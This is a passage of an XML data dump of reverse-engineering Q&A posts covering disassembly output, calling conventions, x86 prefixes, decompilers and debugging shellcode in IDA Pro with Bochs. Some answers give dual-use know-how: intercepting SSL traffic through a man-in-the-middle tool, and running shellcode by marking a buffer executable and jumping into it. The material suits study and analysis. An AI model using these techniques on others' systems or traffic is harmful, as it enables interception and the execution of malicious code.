ends.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; objdump -d /usr/lib/libao.so.4.0.0 --start-address=0x3730&#xA;&#xA;/usr/lib/libao.so.4.0.0:     file format elf64-x86-64&#xA;&#xA;Disassembly of section .text:&#xA;0000000000003730 &amp;lt;ao_append_global_option&amp;gt;:&#xA; 3730:       48 89 f2                mov    %rsi,%rdx&#xA; 3733:       48 89 fe                mov    %rdi,%rsi&#xA; 3736:       48 8d 3d cb 52 20 00    lea    0x2052cb(%rip),%rdi&#xA; 373d:       e9 4e e6 ff ff          jmpq   1d90 &amp;lt;ao_append_option@plt&amp;gt;&#xA; 3742:       66 66 66 66 66 2e 0f    data32 data32 data32 data32 nopw %cs:0x0(%rax,%rax,1)&#xA; 3749:       1f 84 00 00 00 00 00 &#xA;&#xA;0000000000003750 &amp;lt;ao_free_options&amp;gt;:&#xA; 3750:       55                      push   %rbp&#xA; 3751:       53                      push   %rbx&#xA; 3752:       48 89 fb                mov    %rdi,%rbx&#xA; 3755:       48 83 ec 08             sub    $0x8,%rsp&#xA; 3759:       48 85 ff                test   %rdi,%rdi&#xA; 375c:       74 27                   je     3785 &amp;lt;ao_free_options+0x35&amp;gt;&#xA; 375e:       66 90                   xchg   %ax,%ax&#xA; 3760:       48 8b 3b                mov    (%rbx),%rdi&#xA; 3763:       48 8b 6b 10             mov    0x10(%rbx),%rbp&#xA; 3767:       e8 c4 e5 ff ff          callq  1d30 &amp;lt;free@plt&amp;gt;&#xA; 376c:       48 8b 7b 08             mov    0x8(%rbx),%rdi&#xA; 3770:       e8 bb e5 ff ff          callq  1d30 &amp;lt;free@plt&amp;gt;&#xA; 3775:       48 89 df                mov    %rbx,%rdi&#xA; 3778:       48 89 eb                mov    %rbp,%rbx&#xA; 377b:       e8 b0 e5 ff ff          callq  1d30 &amp;lt;free@plt&amp;gt;&#xA; [... clip ...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, that's about all (but, get a better disassembler than &lt;code&gt;objdump&lt;/code&gt;!).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-08-23T08:51:55.553" LastActivityDate="2013-08-23T08:51:55.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2673" PostTypeId="1" AcceptedAnswerId="2674" CreationDate="2013-08-22T15:37:52.227" Score="9" ViewCount="4338" Body="&lt;p&gt;I am looking at some x86 code, which I believe was built using a Microsoft tool chain, and am trying to figure out the calling convention used during this call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   push esi ; save ESI (it gets restored later)&#xA;   lea esi, [ebp-0xC] ; set param 1 for call to FOO&#xA;   call FOO&#xA;   test eax, eax ; test return value&#xA;   jz somelabel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function FOO starts like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   FOO:&#xA;   mov edi, edi&#xA;   push ebx&#xA;   xor ebx, ebx&#xA;   push ebx ; null&#xA;   push esi ; pass ESI in as second param to upcoming call, which has been set by caller&#xA;   push ptr blah&#xA;   mov [esi+0x8], ebx&#xA;   mov [esi+0x4], ebx&#xA;   mov [esi], ebx&#xA;   call InterlockedCompareExchange ; known stdcall func which takes 3 params&#xA;   test eax, eax&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as ESI is not initialized in the body of FOO, I have assumed it is passed in as a param by the caller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this calling convention? It looks to be a variant of fastcall. Is there a name for this convention?&lt;/p&gt;&#xA;" OwnerUserId="123" LastEditorUserId="123" LastEditDate="2013-08-22T15:55:45.597" LastActivityDate="2013-08-22T16:03:39.770" Title="What x86 calling convention passes first parameter via ESI?" Tags="|x86|calling-conventions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2674" PostTypeId="2" ParentId="2673" CreationDate="2013-08-22T16:03:39.770" Score="12" Body="&lt;p&gt;There is no &quot;official&quot; calling convention that works like that. What you're seeing is most likely the result of &lt;a href=&quot;http://msdn.microsoft.com/en-us/magazine/cc301698.aspx&quot;&gt;Link-time Code Generation&lt;/a&gt;, also known as LTO (Link-time optimization) or WPO (&lt;a href=&quot;http://msdn.microsoft.com/en-us//library/0zza0de8.aspx&quot;&gt;Whole program optimization&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it is enabled, the optimization and code generation is done at link time, when the compiler has access to the code of whole program and all compile units, and can use this information for the more extreme optimizations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/xbf3tbeh.aspx&quot;&gt;MSDN&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When /LTCG is used to link modules compiled by using /Og, /O1, /O2, or&#xA;  /Ox, the following optimizations are performed: &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;Cross-module inlining&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Interprocedural register allocation (64-bit operating systems only)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Custom calling convention&lt;/strong&gt; (x86 only)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Small TLS displacement (x86 only)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Stack double alignment (x86 only)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Improved memory disambiguation (better interference information for global variables and input parameters)&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the code snippet you quoted the compiler detected that the function &lt;code&gt;FOO&lt;/code&gt; is not called from outside of the program, so it could customize the calling convention to something that uses register values already set up at the place of call, or otherwise improve register allocation. With heavily templated code you can even get several copies of often-used functions that accept arguments in different sets of registers and/or stack.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-08-22T16:03:39.770" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2676" PostTypeId="2" ParentId="2664" CreationDate="2013-08-23T09:03:38.673" Score="5" Body="&lt;p&gt;you can use hteditor by seppel  if disassembly is ok &#xA;&lt;a href=&quot;http://hte.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;http://hte.sourceforge.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;copy the .so file from linux machine with say samba&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and feed the so file to hteditor &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a sample using libc.so.6 from a damn small linux  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;assuming samba is up and running  in vm and a shared folder in windows host is created &#xA;say &lt;code&gt;c:\sharedwithvm&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from the linux machine &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;cp  ../..../lib/libc.so.6 /mnt//sharedwithvm  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;in the windows machine &#xA;&#xA;C:\&amp;gt;cd sharedwithvm&#xA;&#xA;C:\sharedwithvm&amp;gt;dir /b&#xA;libc.so.6&#xA;&#xA;C:\sharedwithvm&amp;gt;f:\hteditor\2022\ht-2.0.22-win32.exe libc.so.6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hteditor will open with hex view  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f6 select elf\image&#xA;&#xA;f8 symbols type fo&#xA;&#xA;60490 │ func │ fopen                                ▲&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;double click to view the disassembly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;.text&amp;gt; @00060490  push ebp&#xA;fopen+0&#xA;   ..... ! ;********************************************************&#xA;   ..... ! ; function fopen (global)&#xA;   ..... ! ;********************************************************&#xA;   ..... ! fopen:                          ;xref c189a7 c262da c74722&#xA;   ..... !                                 ;xref c93c74 c94cd5 cd23c4&#xA;   ..... !                                 ;xref cd3617 cd37c6 cd3a1a&#xA;   ..... !                                 ;xref cd7061 cd717f cd729f&#xA;   ..... !                                 ;xref ce50e3 ce67e6 ce7581&#xA;   ..... !                                 ;xref cef095 cf0302&#xA;   ..... !   push        ebp&#xA;   60491 !   mov         ebp, esp&#xA;   60493 !   sub         esp, 18h&#xA;   60496 !   mov         [ebp-4], ebx&#xA;   60499 !   mov         eax, [ebp+0ch]&#xA;   6049c !   call        sub_15c8d&#xA;   604a1 !   add         ebx, offset_cab57&#xA;   604a7 !   mov         dword ptr [esp+8], 1&#xA;   604af !   mov         [esp+4], eax&#xA;   604b3 !   mov         eax, [ebp+8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="1924" LastEditDate="2013-08-23T09:11:15.260" LastActivityDate="2013-08-23T09:11:15.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2677" PostTypeId="1" AcceptedAnswerId="2680" CreationDate="2013-08-23T14:22:42.517" Score="5" ViewCount="4555" Body="&lt;p&gt;Does anyone know if there exists an online service which provides the same functionalities as the &lt;a href=&quot;https://github.com/Rendered79/metasploit/blob/master/tools/nasm_shell.rb&quot; rel=&quot;noreferrer&quot;&gt;Metasploit NASM shell&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the above script can be ported to a standalone tool but I'm not very confident with Ruby, so if someone knows something already implemented, it will be helpful.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastEditorUserId="53" LastEditDate="2013-08-23T15:09:09.273" LastActivityDate="2014-01-02T22:11:42.643" Title="Is there an online service which provides the same functionalities as the Metasploit NASM shell?" Tags="|shellcode|metasploit|nasm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2678" PostTypeId="1" AcceptedAnswerId="2679" CreationDate="2013-08-23T15:01:18.240" Score="8" ViewCount="940" Body="&lt;p&gt;I encountered a strange x86-32 instruction (opcode &lt;code&gt;0x65&lt;/code&gt;) decoded by &lt;code&gt;objdump&lt;/code&gt; as &lt;code&gt;gs&lt;/code&gt; (not &lt;code&gt;%gs&lt;/code&gt; but &lt;code&gt;gs&lt;/code&gt;). I found it while a full linear sweep of a binary (&lt;code&gt;objdump -D&lt;/code&gt;), so the decoding was surely incorrect. But, still, &lt;code&gt;objdump&lt;/code&gt; didn't decode it as a &lt;code&gt;(bad)&lt;/code&gt; instruction, so it means that it can be encountered and I would like to know what does it means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of this instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;080484fc &amp;lt;_IO_stdin_used&amp;gt;:&#xA; 80484fc:       01 00                   add    %eax,(%eax)&#xA; 80484fe:       02 00                   add    (%eax),%al&#xA; 8048500:       48                      dec    %eax&#xA; 8048501:       65                      gs     &amp;lt;======================= Here!!!&#xA; 8048502:       6c                      insb   (%dx),%es:(%edi)&#xA; 8048503:       6c                      insb   (%dx),%es:(%edi)&#xA; 8048504:       6f                      outsl  %ds:(%esi),(%dx)&#xA; 8048505:       20 57 6f                and    %dl,0x6f(%edi)&#xA; 8048508:       72 6c                   jb     8048576 &amp;lt;_IO_stdin_used+0x7a&amp;gt;&#xA; 804850a:       64 21 0a                and    %ecx,%fs:(%edx)&#xA; 804850d:       00 44 6f 64             add    %al,0x64(%edi,%ebp,2)&#xA; 8048511:       67 65 20 54 68          and    %dl,%gs:0x68(%si)&#xA; 8048516:       69                      .byte 0x69&#xA; 8048517:       73 21                   jae    804853a &amp;lt;_IO_stdin_used+0x3e&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that searching for this instruction on the Web is quite difficult because of the &lt;code&gt;%gs&lt;/code&gt; register which mask all other possible hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is it a real &quot;instruction&quot; or is it glitch produced by &lt;code&gt;gas&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-08-23T17:04:31.760" LastActivityDate="2013-08-23T17:04:31.760" Title="GAS/x86 disassembled a bare gs register as an instruction, is it a bug?" Tags="|disassembly|x86|objdump|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2679" PostTypeId="2" ParentId="2678" CreationDate="2013-08-23T15:36:06.713" Score="6" Body="&lt;p&gt;Strictly speaking it's not an instruction. It's the segment override prefix (prefixes are considered to be part of the instruction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most memory accesses use &lt;code&gt;DS&lt;/code&gt; segment selector by default except those involving &lt;code&gt;ESP&lt;/code&gt; or &lt;code&gt;EBP&lt;/code&gt; register (they default to &lt;code&gt;SS&lt;/code&gt;) and some &quot;string&quot; instructions (&lt;code&gt;movs&lt;/code&gt;, &lt;code&gt;scas&lt;/code&gt; etc). Segment override prefixes allow you to use another segment selector to access your data. E.g. in DOS times the &lt;code&gt;CS&lt;/code&gt; override was commonly used to access data stored in the code segment (such as jump tables):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg001:00EA shl bx, 1 ; SWITCH&#xA;seg001:00EC jmp cs:off_13158[bx] ; switch jump&#xA;...&#xA;seg001:0588 off_13158  dw offset loc_12DD7 ; DATA XREF: _main+E6r&#xA;seg001:0588            dw offset loc_12DE5 ; jump table for switch statement&#xA;seg001:0588            dw offset loc_12DE5&#xA;seg001:0588            dw offset loc_12DE5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 80386 added two extra segment registers (&lt;code&gt;GS&lt;/code&gt; and &lt;code&gt;FS&lt;/code&gt;) and the corresponding prefixes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the &lt;code&gt;GS&lt;/code&gt; prefix does not actually affect the following instruction (&lt;code&gt;insb&lt;/code&gt;) in the code snipped above, GAS opted out for printing it on a separate line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some of the following instructions you can see how it affects the disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;64 21 0a       -&amp;gt;  and %ecx, %fs:(%edx)&#xA;^^                           ^^^&#xA;67 65 20 54 68 -&amp;gt; and %dl, %gs:0x68(%si)&#xA;   ^^                      ^^^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BTW, 67 is another prefix, this time the &lt;em&gt;address size&lt;/em&gt; override. It is why the instruction uses the 16-bit &lt;code&gt;SI&lt;/code&gt; register and not the full &lt;code&gt;ESI&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2013-08-23T16:49:02.687" LastActivityDate="2013-08-23T16:49:02.687" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2680" PostTypeId="2" ParentId="2677" CreationDate="2013-08-23T16:10:51.730" Score="5" Body="&lt;p&gt;There are several online tools providing a disassembling service. Here is a (non-exhaustive) list:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.onlinedisassembler.com/odaweb/&quot; rel=&quot;nofollow&quot;&gt;ODAweb&lt;/a&gt; (probably the most known);&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://pyms86.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;Pym's online disassembler&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/pvphp/&quot; rel=&quot;nofollow&quot;&gt;PVPHP&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://udis86.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;Udis86&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm&quot; rel=&quot;nofollow&quot;&gt;Defuse online x86 assembler&lt;/a&gt; (a bit out-of-topic, but we never know).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="2417" LastEditDate="2014-01-02T22:11:42.643" LastActivityDate="2014-01-02T22:11:42.643" CommentCount="1" CommunityOwnedDate="2013-08-23T16:10:51.730" ContentLicense="CC BY-SA 3.0" />
  <row Id="2681" PostTypeId="1" CreationDate="2013-08-23T23:45:12.020" Score="11" ViewCount="7399" Body="&lt;p&gt;I'm trying to reverse-engineer a protocol (it's for a game whose server's are closing soon). I have two things: 1) the binary for the program 2) a packet dump from Wireshark (I am still able to get another dump, if needed). Now, the protocol, from what I can see from the dumps, is TLS/SSL (not sure which one) encrypted. I am aware that Wireshark has the capabilities to decrypt these packets, given that I have the required keys.. but how in the world do I extract the keys out of the binary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr Can I access plaintext SSL given the originating binary? &lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2015-09-05T13:17:34.940" Title="Is it possible to decrypt an SSL connection (short of bruteforcing)?" Tags="|decryption|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2683" PostTypeId="2" ParentId="2681" CreationDate="2013-08-24T11:38:52.527" Score="6" Body="&lt;p&gt;&lt;strong&gt;Properly implemented&lt;/strong&gt; SSL traffic has a property of forward secrecy. Which means that you can't decrypt it even if you have the whole packet dump and required private keys. As &#xA;Brendan Dolan-Gavitt points out in his answer, you need access to the binary while it's running to do that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can try to do is set up SSL mitm using something like &lt;a href=&quot;http://ettercap.github.io/ettercap/&quot; rel=&quot;nofollow&quot;&gt;ettercap&lt;/a&gt;. Which might be a bit involved and might not work depending on the SSL implementation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, not a direct answer to your question, but it might help you achieve what you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing you could to, since your goal is to analyze the underlying protocol is to make hooks on the higher level. I have use &lt;a href=&quot;https://code.google.com/p/ospy/&quot; rel=&quot;nofollow&quot;&gt;oSpy&lt;/a&gt; before to do similar work. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;oSpy is a tool which aids in reverse-engineering software running on the Windows platform. With the amount of proprietary systems that exist today (synchronization protocols, instant messaging, etc.), the amount of work required to keep up when developing interoperable solutions will quickly become a big burden when limited to traditional techniques. However, when the sniffing is done on the API level it allows a much more fine-grained view of what's going on. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;oSpy works by attaching to the process whose traffic you want to analyze and then monitor certain APIs. &lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditDate="2013-08-27T10:19:35.403" LastActivityDate="2013-08-27T10:19:35.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2684" PostTypeId="1" CreationDate="2013-08-24T18:16:55.957" Score="4" ViewCount="3486" Body="&lt;p&gt;I am debugging a shellcode in IDA Pro&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IDA Pro version: 6.1.011 (32-bit)&#xA;Bochs version: 2.6.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I load the shellcode from a text file and the code displays properly in IDA Pro disassembly. Now, I want to debug it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Bochs Debugger which is installed on the same machine as the IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I load the shellcode from a text file as a Binary File and the Loading Segment is set to: 0x00000000 and Loading offset to: 0x00000000&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:00000000                 db 0FFh&#xA;seg000:00000001                 db 0FEh ; ¦&#xA;seg000:00000002                 db  55h ; U&#xA;seg000:00000003                 db 0EBh ; d&#xA;seg000:00000004                 db  6Eh ; n&#xA;seg000:00000005                 db  33h ; 3&#xA;seg000:00000006                 db 0C0h ; +&#xA;seg000:00000007                 db  64h ; d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The actual code starts from the offset, 0x02 so, I press C and it displays the correct disassembly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:00000000                 db 0FFh&#xA;seg000:00000001                 db 0FEh ; ¦&#xA;seg000:00000002 ; ---------------------------------------------------------------------------&#xA;seg000:00000002                 push    ebp&#xA;seg000:00000003                 jmp     short loc_73&#xA;seg000:00000005&#xA;seg000:00000005 ; =============== S U B R O U T I N E =======================================&#xA;seg000:00000005&#xA;seg000:00000005&#xA;seg000:00000005 sub_5           proc near               ; CODE XREF: sub_AE+6p&#xA;seg000:00000005                 xor     eax, eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now, I select &quot;Local Bochs Debugger&quot;, select the code starting from offset, 0x2 and press F9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It gives the error: &lt;code&gt;&quot;**Failed to map a database segment to virtual address, 00000000. This usually happens if the debugged program has segments that overlap with BOCHS loader segments**&quot;.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I reload the shellcode from the text file and this time set the Loading Segment to: 0x00400000 and leave the Loading Offset set as: 0x00000000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now, when I repeat the steps above, it tries to launch the Bochs Debugger (I just get a busy icon, so I guess it is attempting to launch the Bochs Debugger) and after few seconds, gives me the warning: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Failed to run bochs with: C:\Program Files (x86)\Bochs-2.6.2\bochsdbg.exe&quot; -f &quot;C:\shellcodes\shellcode.bochsrc&quot; -q&#xA;&#xA;Please make sure that BOCHS is configured properly:&#xA;1. You are using bochsdbg.exe executable&#xA;2. You are using a supported version of BOCHS.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2673" LastEditorUserId="189" LastEditDate="2013-08-27T00:18:16.467" LastActivityDate="2013-08-27T00:18:16.467" Title="IDA pro and Bochs Debugger" Tags="|ida|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2685" PostTypeId="1" AcceptedAnswerId="2687" CreationDate="2013-08-24T20:46:46.823" Score="6" ViewCount="3413" Body="&lt;p&gt;I am using the Local Bochs Debugger along with IDA Pro to debug a shellcode. This shellcode disassembles properly in IDA Pro, however, now I want to debug it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried debugging but since the configuration of Bochs is bare metal, it will not be able to execute some code properly, for instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor eax, eax&#xA;mov eax, dword ptr fs:[eax+0x30] // PEB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since PEB is a structure defined in the Windows Operating System, Bochs does not execute this code properly (does not load the PEB address in eax).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simiarly, other sections of code which parse the kernel32.dll structure to find various API addresses also does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I debug the shellcode with IDA Pro and Bochs Debugger?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Windows XP SP3 Guest OS running in VMWare workstation.&#xA;IDA Pro running on the host OS.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to place the shellcode.txt file inside the Guest OS and then debug it using IDA Pro on the host OS? I think in this case, the Windows Debugger, windbg's engine can be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will be the configuration? In the following article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/debugging_windbg.pdf&quot;&gt;https://www.hex-rays.com/products/ida/support/tutorials/debugging_windbg.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It describes how to debug a remote process running on Windows. But in my case, it is not a process but a shellcode loaded from a text file.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastActivityDate="2013-08-24T22:39:12.363" Title="Debugging Shellcode with Bochs and IDA Pro" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2686" PostTypeId="2" ParentId="2646" CreationDate="2013-08-24T22:11:48.707" Score="1" Body="&lt;p&gt;Most x86_64 OSs provide some mechanism for running 32 bit code.  As long as you have the necessary libraries installed, 99% of the time everything will still work from within your standard GDB - no changes necessary.  I've never had any issues debugging 32 bit applications on 64 bit, and the workflow was transparent to me, provided I had multilib set up correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, it's always possible to use a 32 bit virtual machine if you feel so inclined.  Or, as others have mentioned, you can debug over the network on a dedicated 32 bit test machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I suggest editing your question to make it clear that you're talking about x86 vs amd64 - the answer could be different on other architectures that have both 32 bit and 64 bit versions (admittedly, I have no idea about these).  EDIT:  Disregard - I saw that you wrote x64.  Guess my eyes just glazed over the x...&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-08-24T22:11:48.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2687" PostTypeId="2" ParentId="2685" CreationDate="2013-08-24T22:33:14.607" Score="6" Body="&lt;p&gt;For testing shellcode on windows and in general, it's good idea to wrap it in a small program that executes it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do is write a small program that would read the shellcode, say , from a file into malloc()-ed buffer and then jump to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On windows, you'd probably want to use &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898%28v=vs.85%29.aspx&quot;&gt;VirtualProtect&lt;/a&gt; to set PAGE_EXECUTE_READWRITE permissions on that memory area before jumping to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading shellcode into malloced memory and setting the execute permissions, you can simply use function pointer to call/jump to it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will produce the executable binary which you can run in any debugger, set the breakpoint just before the function pointer call and then debug the shellcode as you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick search reveals just a program like that in an article about &lt;a href=&quot;http://mcdermottcybersecurity.com/articles/windows-x64-shellcode#testing&quot;&gt;Windows x64 Shellcode&lt;/a&gt;. The same code can be applied on 32bit Windows.&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditDate="2013-08-24T22:39:12.363" LastActivityDate="2013-08-24T22:39:12.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2688" PostTypeId="1" AcceptedAnswerId="2692" CreationDate="2013-08-25T10:31:10.710" Score="4" ViewCount="51695" Body="&lt;p&gt;I was working on a &lt;code&gt;C#.NET&lt;/code&gt; application on windows platform, I was just testing the code and I don't know somehow I messed it up and after making too much efforts on &lt;strong&gt;undoing&lt;/strong&gt;, I am still not able to &lt;strong&gt;recover&lt;/strong&gt; my code. I don't want to write the whole code again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only left with its .EXE file that executes well here, I want to know about some techniques or tools so that I can decompile my &lt;code&gt;EXE&lt;/code&gt; code into its source code, Is it possible if it is, then please tell me some good decompilers. Any help will be appreciated, Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2023" LastEditorUserId="2021" LastEditDate="2013-08-25T17:52:36.307" LastActivityDate="2014-06-13T21:40:15.950" Title="How can I decompile my (dot)NET .EXE file into its source code" Tags="|decompilation|executable|" AnswerCount="2" CommentCount="3" ClosedDate="2014-06-14T06:19:24.323" ContentLicense="CC BY-SA 3.0" />
  <row Id="2689" PostTypeId="1" CreationDate="2013-08-25T12:08:42.267" Score="8" ViewCount="1075" Body="&lt;p&gt;If I set something like &lt;code&gt;0x00000040&lt;/code&gt; (my code is located at this address), then the program crashes with this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The application was unable to start correctly (0xc000007b)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I &lt;code&gt;jmp&lt;/code&gt; from the code section to 0x00400040 then it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why did I get error with that strange address (&lt;code&gt;0xc000007b&lt;/code&gt;) ? Is it possible to start the execution of program from code which is located outside sections?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Windows 8.&lt;/p&gt;&#xA;" OwnerUserId="2707" LastEditorUserId="53" LastEditDate="2013-08-25T15:15:22.083" LastActivityDate="2013-08-26T18:42:23.173" Title="Can I set entry point at code in PE headers?" Tags="|x86|pe|windows-8|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
